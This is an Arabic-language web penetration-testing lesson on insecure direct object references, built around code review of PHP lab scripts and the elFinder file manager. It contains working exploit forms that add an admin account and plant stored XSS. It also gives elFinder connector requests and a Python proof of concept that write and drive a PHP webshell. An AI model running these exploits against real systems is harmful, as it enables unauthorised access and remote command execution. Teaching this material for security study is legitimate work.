Lesson 3 : WebAppPen Insecure direct object references IDOR ( Code Review )
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
الدرس السابق :
معادلة الدرس السابقة كانت :
مدخل مستخدم + امر طباعة + عدم وجود فلتر = ثغرة
درس اليوم يتكلم عن اشهر ثغرة في وقتنا الحالي
Insecure direct object references
معادلة هذا الدرس :
مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة
محتويات الدرس :
Lab :
1-Lab-IDOR-Laravel
2-Lab-IDOR-php
3- College Management System (PHP)
4- AlchemyCMS (RubyOnRails)
5- write up +elfinder
مقدمة :
موضوع اليوم شيق لانه مثل الالغاز خصوصا في كتابة الاستغلال
سيتم شرح لثغرات
Insecure direct object references
اوبجكت غير محمي ما شفت ترجمة صحيحة غير هالمعنى وميديم
ما يدعم انجليزي وعربي لذلك ساكتفي بذكر اوبجكت غير محمي بالنسبة لثغرات
IDOR
ولاننا في الدرس السابق قمنا بتنصيب عدد من السكربتات ونفس هذه السكربتات
مصابة بنفس هذا النوع لذلك فضلت انه يتم استخدامها ايضا في هذا الدرس
مع ذكر سيناريو حقيقي
هدف الدرس :
استغلال عيوب في تصميم الويب ابلكيشن لصالح المهاجم باستغلال اوبجكت غير محمي
خطورة هذا النوع :
لايمكن للجدار الناري صد هذه الهجمات او معرفتها واصدار تنبيه عنها
وصعوبتها في الاكتشاف تكمن في انه يجب ان تفهم الية عمل السكربت لاستغلالها
لانه لايمكن لبرامج الفحص اكتشافها وبالنسبة للفحص اليدوي تحتاج الى كود رفيو
في بعض انواع هذه الثغرة وبعضها لاتحتاج كما سيتم شرحها في هذا الدرس
اولا لنتعرف على ثغرات
insecure direct object references
بكل سهولة هي امكانية المهاجم الوصول لبيانات غير مصرح له الوصول لها
مثلا اسمي عبدالرحمن ولدى بروفايل في موقع تويتر عند دخول اي شخص لحسابي
لايمكن عرض تغريداتي لان الحساب محمي من خيارات الخصوصية اذا وجد
المهاجم طريقة لعرض تغريدات حساب محمي بدون موافقته تعني هنا انه توجد ثغرة
لان الاشخاص المصرحين برؤية التغريدات فقط الاشخاص الذي وافق عليهم صاحب الحساب
اما المهاجم لم يصرح له صاحب الحساب لذا اذا وجد المهاجم طريقة لعرض هذه التغريدات
هنا تسمى ثغرات اوبجكت غير محمي
وهذا معادلتها :
مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة
واحتلت هذا الثغرة المرتبة الاولى في القائمة الجديدة
اكتشاف هذا النوع من الثغرات ايضا متشعب واماكن الاصابة ايضا كثيرة
مثال :
صفحة تسجيل الدخول
الرسائل الخاصة
عرض البروفايل
تعديل بروفايل
تعديل كلمة مرور
تعديل الايميل
الكوكيز خصوصا JWT
الخ
باختصار مثل ما ذكرت في الاعلى شئ غير مصرح للمهاجم تعديله او قراءته او حذفه
اذا استطاع تجاوز هذا التصريح اذا هيا ثغرة
هنا مثال بسيط عندي حساب بنكي يعرض رصيدي
عدلت رقم الحساب البنكي لحساب اخر استطعت رؤية رصيد
شخص اخر
قبل ما نبدأ لازم نتفق ان لها نوعين نوع متعلق
بAPI
ونوع ثاني متعلق بنفس طريقة البرمجة ومع الشرح ممكن تفهم المقصود
كلها نفس بعض اننا نعمل قراءة او حذف او اضافة
لكن جدا مختلفة في عملية الكود رفيو
ثغرة الاوبجكت الغير محمي يظن البعض انها من الثغرات الجديدة
وفقط المصابة فيه هو
API
وهذا غير صحيح بتاتا بعد قراءتك لهذا الدرس سيتغير مفهوم هذه الثغرة
بالنسبة لك
طبعا ما بتطرق لموضوع الكود رفيو لـ
api Or auth
جدا متشعب وماهو هدفنا في هذا الدورة
شخصيا افضل اكتشافها باستخدام اسلوب الصندوق الاسود اذا كانت
api
فهو الافضل من خلال تجارب شخصية بعدها ممكن تستخدم الصندوق الابيض
لكن اذا كانت في نفس اللغة البرمجية لازم كود رفيو لان صعب تكتب استغلال
لها طريقة اكتشافها ممكن تكون سهلة او صعبة الصعبة في الاغلب تكون في المكتبات المرافقة لمشروع
وفي هذا الدرس بحاول اوصل لكم فكرة كيف نكتب اكثر من استغلال
ل اوبجكت غير محمي لان اوقات يكون الميدلوير غير واضح
عند فحص السكربت هل هذا من صلاحية اليوزر فقط او من صلاحية الادمن
لذلك لتحديد هذه الاخطاء نستخدم الصندوق الرمادي اذا ما استوعبت للان ماهي مشكلة في التطبيق
بيتضح لك بشكل افضل
قبل ما نستعرض اللاب اعتقد كثيرين عند فحص موقع او هدف
لاحظ انه في بعض الاوقات استطاع استعراض لوحة التحكم بشكل جزئي
او انه استطاع رؤية بعض خيارات لوحة التحكم بدون تسجيل دخول
وهذا تعتبر ثغرة حرجة لكن تحتاج شروط لتنفيذها انك استطعت رؤية عناصر لوحة التحكم
بدون تسجيل دخول وبعدها تم تحويلك لصفحة تسجيل الدخول
اولا: لدينا لاب بسيط وهو ملف
php
لتنزيل الاب من هنا :
نفس ثغرة الاكسس من الدرس السابق لكن تم تعديل الكود بشكل مختلف
اذا حاولت تستعرض الملف سيتم تحويلك بشكل تلقائي
مثلا تحاول الوصول للملف
http://blabla.bla/admin/labxss.php
بيتم تحويلك بشكل الي الى
http://blabla.bla/admin/login.php
لانك غير مسجل الدخول
لتجاوز التحويل واكتشاف هذا النوع لدينا طريقتين
الاولى ايقاف المستعرض من اي تحويل لاي رابط او موقع
الثانية استخدام سطر الاوامر بالطريقة التالية :
curl “http://127.0.0.1/2/Lab-IDOR-Php.php"
وبيظهر لك السورس كود للصفحة بشكل كامل بدون ان يتم تحويلك
لنستعرض الان كود الصفحة لقراءة السورس كود
سبب هالثغرة ان المبرمج ما طلب ايقاف الكود بعد التحويل
باستخدام
die();
وليس شرط عدم استخدامها يدل على ثغرة فيه مبرمجين قبل ارسال اي طلب
من المستخدم كان
GET OR POST
يتاكد من الصلاحية اذا يملكها يتم ارسال الطلب
اذا لا لايتم ارسال الطلب
ملاحظة : هالنوع منتشر بكثرة في نظام الصلاحيات مثال اذا كان المستخدم زائر
يتم ايقاف الكود لكن اذا كان مستخدم يوزر يتم تحويله للصفحة الرئيسية في حال
حاول الدخول لصفحة الادمن لذلك عند اختبارها يفضل الدخول باكثر من صلاحية
ثانيا : عندنا لاب مبرمج بالارافيل
لتنزيل الاب من هنا :
برمجته بشكل سريع لاجل ايصال الفكرة فقط
وهنا نتكلم عن النوع الثاني
واغلبية الاصابة فيه تكون في
api
لكن ما يمنع انه يكون مصاب في سكربت عادي
اولا لنستعرض ملف الروات
اكتشافه دائما بالتلاعب بقيمة اي
id
وما نحتاج حتى قراءة السورس كود يمكن اكتشافه بسهولة
لذلك عندما ذكرت في البداية اننا نحتاج نقسمهم نوعين
نوع سهل ونوع صعب يحتاج كود رفيو فيه خصوصا في كتابة استغلال
والا اقصده بالضبط لنفرض عندنا موقع
فيه الصلاحيات التالية :
اوقات الاكشن فقط من صلاحية الادمن ويكون مصاب بثغرة
ان مثلا المحرر او مستخدم عادي له صلاحية يستخدم هذا الاكشن بسبب ثغرة
لكن المشكلة مافي احد يقدر يطلع على هذا الاكشن غير الادمن
يعني انت لو كنت مختبر اختراق او صائد مكافات
ما تقدر تكتشف هالاكشن او هذا العيب الا اذا كنت ادمن
لكن بالاخير تقدر تكتشف هالاكشن
لان هالاكشن مخفي عنك لكن لو دخلت بصلاحية ادمن وحفظت الاكشن بعدين دخلت
بصلاحية يوزر انت هنا عرفت طريق الاكشن وتقدر تستغلها
وبتكتشفها لنفرض الان يعني لو كنت مختبر اختراق او صائد مكافات
وجربت اكثر من صلاحية للبحث عن ثغرة اوبجكت غير محمي تستطيع اكتشافها
لكن النوع الثاني الا هو الصعب الذي لايمكن اكتشافها الا بكود رفيو لنفرض التالي:
المبرمج نسى ملف مثلا اسمه
http://127.0.0.1/wp/core/vendor/upload.php
او مثلا نسى مكتبة او اي صفحة نقدر نرسل لها اكشن بشكل مباشر
بدون المرور بلوحة التحكم
http://127.0.0.1/wp/admin/login.php
لو حاولنا نرسل اكشن عن طريق لوحة التحكم المبرمج حريص انه
يتاكد من الصلاحيات ويعمل ايقاف للكود يعني مقفل الثغرة في لوحة
التحكم لكن في ملف من الملفات مثلا نسي المبرمج يضيف هالحماية
في المكتبة او على الملف يعني لو عرفنا المسار نقدر نرسل اكشن
هنا تكمن قوة الكود رفيو اننا ممكن نرسل اكشن بشكل مباشر
لملف او مكتبة استخدمها المبرمج فيه برنامجه
او حتى اوقات تكون بسبب اعدادت من الفريم ورك الا برمج فيه المبرمج
لذلك نحنا نستغل هنا طرف ثالث باختصار ادخل على رابط المكتبة بشكل مباشر
وارسل لها الاكشن
http://127.0.0.1/wp/core/vendor/upload.php
بدون المرور بلوحة التحكم او اختبار السكربت نفسه وممكن نقول مافي ثغرة
لكن فيه ملف مخفي نقدر نرسل له اكشن يعني لو دخلت المسار ممكن تجد كلاس
او تجد ملف تقدر ترسل له اكشن لكن الصفحة بتكون بيضاء لان المبرمج استدعى
هذا الملف او الكلاس في لوحة التحكم لذلك نحنا نحتاج نقرء السورس كود لهذه المكتبة
او الملف لارسال له اكشن بصورة مباشرة بدون المرور بلوحة التحكم
وهذا من اكثر الثغرات شيوعا في الوقت الحالي
اتمنى وضحت الصورة
لذلك اولا لدينا هذا السكربت
College Management System
عند محاولتنا الذهاب لمسار الادمن يتم تحويلنا الى صفحة تسجيل الدخول
لنستعرض الملفات الموجودة في مسار الادمن والتحقق هل يمكن كسرها
ام لا
حاليا المبرمج عنده خطأ مثل المثال الاول الذي تم ذكره
وهذا من اكثر الاخطاء المنتشرة الموجودة في مسارات الادمن
تحقق انه اذا ما وافق الشرط بيتم تحويله لكن اذا ارسلت لنفس الصفحة
طلب
GET OR POST
بيتم قبوله
كيف حدثت هذه الثغرة
ببساطة المبرمج لم يخبر الصفحة ان تتوقف عن تنفيذ بقية الاكواد
اذا لم يتنفذ الشرط الصحيح يتوقف الكود لكن اذا الكود كمل تنفيذ نقدر نستغلها
الخطأ :
<?php
session_start();
if (!$_SESSION[“LoginAdmin”])
{
header(‘location:../login/login.php’);
}
require_once “../connection/connection.php”;
?>
الطريقة الصحيحة للكتابة كالتالي :
ايقاف الكود عن التنفيذ بعد عدم التحقق من الشرط
<?php
session_start();
if (!$_SESSION[“LoginAdmin”])
{
header(‘location:../login/login.php’);
die();
}
require_once “../connection/connection.php”;
?>
هل هذا كافي لاستغلال الثغرة للاسف لا هنا فقط نقدر نطلع على المحتوى
لو استخدمنا الامر
curl “http://127.0.0.1/2/College-Management-System/admin/admin-index.php"
بيظهر لنا المحتوى لكن
طالما وجدنا ثغرة من هذا النوع الافضل اننا
نبحث عن طلب
GET OR POST
يمكن التحكم فيه بالصفحة
الصفحة مافيها اي مدخل
نستفيد منها
الموجود فقط عرض بيانات من قاعدة البيانات لكن نحن نحتاج مدخل لاستغلالها
الان في الدرس السابق وجدنا ثغرة
XSS Stored
لكن كانت في مسار الادمن وفعليا في الواقع مهما كانت ثغرة طالما تتطلب صلاحيات
الادمن فاستغلالها في الواقع صعب لكن طالما انه توجد ثغرة اخرى اوبجكت غير محمي
من المبرمج ونفس الملف
يمكننا من ارسال طلب
GET OR POST
نستطيع ربط هذه الاخطاء لتكوين ثغرة باسم
Stored Cross-Site Scripting (XSS) Unauthenticated
باختصار تم دمج نوعين من الثغرات
IDOR + XSS Stored = Stored Cross-Site Scripting (XSS) Unauthenticated
لنتاكد الان
نفس الخطأ المبرمج لم يوقف الكود عن التنفيذ بعد عدم صحة الشرط
تحققت الشروط الان نحتاج الى كتابة استغلال
كل شخص يكتب الاستغلال بالطريقة المفضلة
ولتسهيل هذا الدرس نستخدم نفس نموذج الطلب الموجود في الموقع
نتابع
ننسخ محتويات
form
ونلصقها في ملف جديد كالتالي :
كود الاستغلال لتجربته
<html lang=”en”>
<head>
<title>XSS</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8"><! — css style goes here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”>
<! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class=”modal-dialog modal-lg”>
<div class=”modal-content”>
<div class=”modal-header bg-info text-white”>
<h4 class=”modal-title text-center”>Add Time Table</h4>
</div>
<div class=”modal-body”>
<form action=”http://127.0.0.1/2/College-Management-System/Admin/time-table.php" method=”post”>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1">day No:</label>
<input type=”text” name=”day” class=”form-control” value=”5">
</div>
</div>
</div>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1">subject_code No:</label>
<input type=”text” name=”subject_code” class=”form-control” value=”<svg/onload=print()>”>
</div>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary” name=”btn_save” value=”Save Data”>
<button type=”button” class=”btn btn-secondary” data-dismiss=”modal”>Close</button>
</div>
</form>
</div>
</div>
هل يمكن كتابة استغلال بطريقة اخرى في اي ملف مختلف
لنحاول الان اضافة ادمن جديد ولكن قبل الاضافة علينا ان نبحث اين يتم اضافة
ادمن او مستخدم ..الخ
اول خطوة ابحث عن الجدول في قاعدة البيانات والحقول المطلوبة لاضافة مستخدم
بعد معرفتنا للبيانات التي نحتاجها لاضافة مستخدم
علينا ان نبحث عن ملف فيه امر قاعدة بيانات
يضيف في هذا الجدول
الان نحتاج الى تحقق شرط ان فيه مدخل للمستخدم
بالاضافة عدم وجود
die() في بداية الصفحة
طبعا برمجيا ليس فقط هذه الدالة يمكن استخدامها يمكن ايضا استخدام
if
قبل ارسال طلب اذا تحقق ان له صلاحية ادمن يمكن ارسال طلب
POST OR GET
لكن في هذا السكربت كان التحقق ضعيف لنكمل
الان تحققت جميع الشروط
لنكتب استغلال مثل السابق باستخدام
form
ثم تعديله
كود الاستغلال :
<html lang=”en”>
<head>
<title>ADD Admin</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8">
<! — css style goes here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”>
<! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class=”row m-3">
<div class=”col-md-12">
<form action=”http://127.0.0.1/2/College-Management-System/admin/Teacher.php" method=”POST” enctype=”multipart/form-data”>
<div class=”row mt-3">
<div>
<input type=”text” name=”email” value=”infosec_90@admin.com”>
<input type=”text” name=”password” value=”123456">
<input type=”text” name=”role” value=”Admin”>
<input type=”text” name=”account” value=”Activate”>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary px-5" name=”btn_save”>
</div>
</form>
</div>
</div>
للان ما تكملت عن موضوع ثغرات الابلود لكن ماهو محور حديثنا اليوم
ممكن تكون مستقبلا لكن بما انه داخل بموضوع ان الاوبجكت غير محمي
نحاول نكتب لها استغلال
16
نحاول نتتبع باستخدام اسم الفورم
17–1
17
نفس الفورم نسخ لصق مع تغيير ما يلزم
كود الاستغلال بيكون بالطريقة التالية :
<html lang=”en”>
<head>
<title>exploit — file upload</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8"><! — css style goes here →<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”><! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body><div class=”row m-3">
<div class=”col-md-12">
<form action=”http://127.0.0.1/2/College-Management-System/Admin/student.php" method=”POST” enctype=”multipart/form-data”>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Your Profile Image:</label>
<input type=”file” name=”profile_image” placeholder=”Student Age” class=”form-control”>
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload Matric/OLevel Certificate:</label>
<input type=”file” name=”matric_certificate” class=”form-control” value=”there is no image”>
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload FA/ALevel Certificate:</label>
<input type=”file” name=”fa_certificate” class=”form-control” value=”there is no image” >
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload BA Certificate:</label>
<input type=”file” value=”C:/xampp/htdocs/Imperial University/Images/no-image-available.jpg” name=”ba_certificate” class=”form-control” >
</div>
</div>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary px-5" name=”btn_save”>
</div>
</form>
</div>
</div>
طبعا وجدت الثغرة في اكثر من ملف ممكن تكون لك تمرين لكتابة استغلالات اخرى
مثلا استغلال لتغيير باسورد الادمن
الان ننتقل لسكربت
AlchemyCMS
الا تم تنصيبه مسبقا طالما ان السكربت مبرمج بمفهوم
MVC
طبعا احاول اننا نتتبع شئ سهل لايصال فكرة الدرس
ذكرت ببداية الدرس ان تتبع هالنوع من الثغرات اذا كان من الا تعتمد على
id
نقدر نتتبعها بسهولة عن طريق الصندوق الاسود واذا كان السكربت مبرمج بمفهوم
MVC
تتبع هالنوع جدا بيكون اسهل نبدا بملف
route
دائما يكون في مجلد الكونفق
هنا نفس ثغرة الابلود الا في الدرس السابق الا رفعنا فيها ملف بصيغة
svg
لكن هذا المرة نحاول نبحث عن اوبجكت غير محمي يستخرج لنا كل الملفات المرفوعة بالموقع
اذا ما كانت عندك خبرة برمجية تقدر تكتفى بمعرفة كيفية عمل هالملف
وتدخل تخمن على الاي دي كصندوق رمادي بعد ما استخدمنا قراءة السورس
اذا عندك خلفية برمجية ننتقل لجزء قراءة الكنترولر
ما تطرقت لموضوع الموديل لايصال الفكرة بطريقة اسهل
ممكن تطلع على مصادر لتعلم مفهوم
MVC
وهذا كانت من المتطلبات في الدرس الثاني
وهنا تقدر تتعلم اكثر عن موضوع
route
https://guides.rubyonrails.org/routing.html
كل فريم ورك له طريقة مختلفة لكن كلها متشابهة في طريقة التعريف
الان نتطرق لثغرات
IDOR
الغير مرئية الا تكون في مكتبات او اضافات وفيها مدخل يوزر
راح اذكر مثال حقيقي كيف اني استخدمت الصندوق الرمادي
في اختراق شركة طبعا هذا اكثر الاخطاء وجدتها في هذا السنة 2021
بنفس الطريقة وما وجدت احد يتكلم عنها باستهداف المكتبات الا عدد جدا قليل يكاد ما يذكر
حاولت استهداف السكربت بشكل مباشر
كل السكربتات كانت لوحات التحكم كانت تطلب يوزرنيم وباسورد وكان الهدف اختبار اختراق لشركة والشرط
انه صندوق اسود بحت وما كنت اعرف من الهدف الا اسم الشركة فقط
تقريبا كل المسارات تطلب تسجيل دخول ويتم تحويلي على
http://blabla.com/login.php
لكن بعد عمل عرض مصدر كان فيه مسارعادي لمكتبات الموقع
http://blabla.com/lib/js/jquery.js
كمختبر اختراق او صائد ثغرات كل شخص عنده ورد لست خاصة فيه
فيها مسارات حساسة تستفيد منها باستخدام عدة ادوات للتخمين
بعد مرحلة من حياتك بتكون عندك ورد لست خاصة فيك مختلفة عن اغلبية
صائدي المكأفات بتبحث عن مكتبات يستخدمها هذا السكربت او الموقع
كطرف ثالث باختصار ورد لست تحتوي مكتبات او اضافات معظم المبرمجين يستخدمونها
كمثال استخدام مكتب جاكوري او بوتسراب وغيرها
بعد التخمين وجدت هذا المسار
http://blabla.com/lib/elFinder/
يتم استخدام
elFinder
الان نبحث عن هذا المكتبة في قت هب
نتبع خطوات التثبيت الموجودة
Builds (compressed)
Download and unzip one of the builds below to your PHP server
Rename /php/connector.minimal.php-dist to /php/connector.minimal.php
Load /elfinder.html in your browser to run elFinder
Source (uncompressed)
Clone this repository to your PHP server
$ git clone https://github.com/Studio-42/elFinder.git
Rename /php/connector.minimal.php-dist to /php/connector.minimal.php
Load /elfinder.src.html in your browser to run elFinder
Installer
Setup elFinder 2.1.x nightly with Composer
قبل ما نبدا نجمع اسماء الملفات والمسارات في ملف جديد مثال
.
├── .tmp
│ └── .htaccess
├── composer.json
├── composer.lock
├── composer.phar
├── connector.php
├── css -> ./vendor/studio-42/elfinder/css
├── files
│ └── .trash
├── img -> ./vendor/studio-42/elfinder/img
├── index.html
├── js -> ./vendor/studio-42/elfinder/js
├── main.js
├── sounds -> ./vendor/studio-42/elfinder/sounds
└── vendor
├── .htaccess
├── autoload.php
├── composer
│ ├── ClassLoader.php
│ ├── LICENSE
│ ├── autoload_classmap.php
│ ├── autoload_namespaces.php
│ ├── autoload_psr4.php
│ ├── autoload_real.php
│ ├── include_paths.php
│ └── installed.json
└── studio-42
└── elfinder
ونخمن مره ثانية على المكتبة باداءة تخمين هل المسارات كلها موجودة او لا
بعد التخمين وجدت بعض المسارات والملفات للاسف فيه ملفات غير موجودة
طبعا مهم اني اعرف اصدار المكتبة احاول بشكل يدوي او اني ابحث عن اصدار اقدم
واخمن لحد ما اجد تطابق لكل الملفات الموجودة وبعد جهد وتخمين لاكثر من مرة
عرفت الاصدار المستخدم وكان الاصدار تحت الرقم 2.0.4 بعدين عرفت ان سبب استخدام
هالاصدار القديم مكتبة اخرى مشهورة جدا تستخدمه دائما هالمشاكل بسبب
ان صاحب الفريم ورك او السكربت يركز على تطوير سكربته الخاص ويعتمد
على مكتبات بدون الاهتمام في تحديثها
الان نثبتها على السيرفر المحلي
رابط تحميل السكربت :
https://codeload.github.com/Studio-42/elFinder/zip/2.0.4
ونفك الضغط في مسار السيرفر الشخصي لاختبارها
وجدت هذا المسار في الهدف ندخل ونحلل الملفات الا فيه بشكل يدوي
http://blabla.com/lib/elFinder/php
اول خطوة نتاكد على فيه تحقق او لا
الان نبدا نتتبع الكود للبحث عن مدخل مستخدم لاستغلاله
لو كملنا نتتبع
target
بحتاج درس ثاني لاجل نخلص لان بعدها تحتاج تتبع كلاس واكثر من فنكشن
في ملف
elFinderVolumeDriver.class.php
او تعيد كتابة الفنكشن كلها في ملف خارجي لاجل اختبارها
بالاخير الناتج كان
target=l1_
بجرب على هدفي الحقيقي هل تعمل ام لاتعمل لان ممكن المبرمج يكون اضاف صلاحيات
او ان الملف صلاحيته مختلفة وكانت النتيجة
وهنا خطأ ثاني في المكتبة يستعرض لك الملفات
طبعا هذا وانا اكتب الدرس اكتشفت انها تشتغل ايضا في اخر اصدار
نرجع الان لهدفنا
استغلال رفع ملف
اول خطوة انشاء ملف
elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.php
بعدين نحقن الكود باضافة هاش الملف
/elFinder/php/connector.minimal.php?cmd=put&content=<?php echo $_GET[0];?>&target=l1_L1x3ZWJzaGVsbC5waHA
تم بنجاح
وهذا ثغرة في اخر اصدار
بتواجه مشكلة في اضافة وسوم البي اتش بي
تخطيها بالطريقة التالية:
<<<<?PhP
وفيه ثغرة بكل الاصدارات ايضا ماعدا الاصدار الاخير
2.1.59
وهي ترفع ملف
phar
وهذا الاستغلال
Python POC:import http.client, urllib.parse,sys,re
from pwn import *
import pwnlib.util.webAuthor="Ashok Chand"
print("Author: ",Author)def main():
if len(sys.argv)==1:
print("Usage: python3 elfinder_2.1.57_exploit.py <ip>")
sys.exit(0)
host=sys.argv[1]
headers={"Host":host}
connect=http.client.HTTPConnection(host)
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar")
response=connect.getresponse()
x=response.read()
file_hash=re.findall(b'l1_[A-Za-z0-9]{10,18}',x)
for h in file_hash:
hash_file=h.decode()
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=put&content=<?='';system($_GET[0]);?>&target="+hash_file)
while True:
cmd=raw_input("cmd>")
print(cmd)
url=f"http://{host}/elFinder/files/webshell.phar?0={cmd.decode()}"
res=wget(url, timeout=20)
print(res.decode())
if __name__=="__main__":
main()
اتمنى الان وصلت طرق اكتشاف ثغرات
IDOR
وانها ماهي محصورة على
API
او فقط التلاعب ب
ID
لها عدة طرق بالنهاية تعريفها جدا بسيط
مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة
نهاية هذا الدرس لا ارجوا الا دعوة منكم في ظاهر الغيب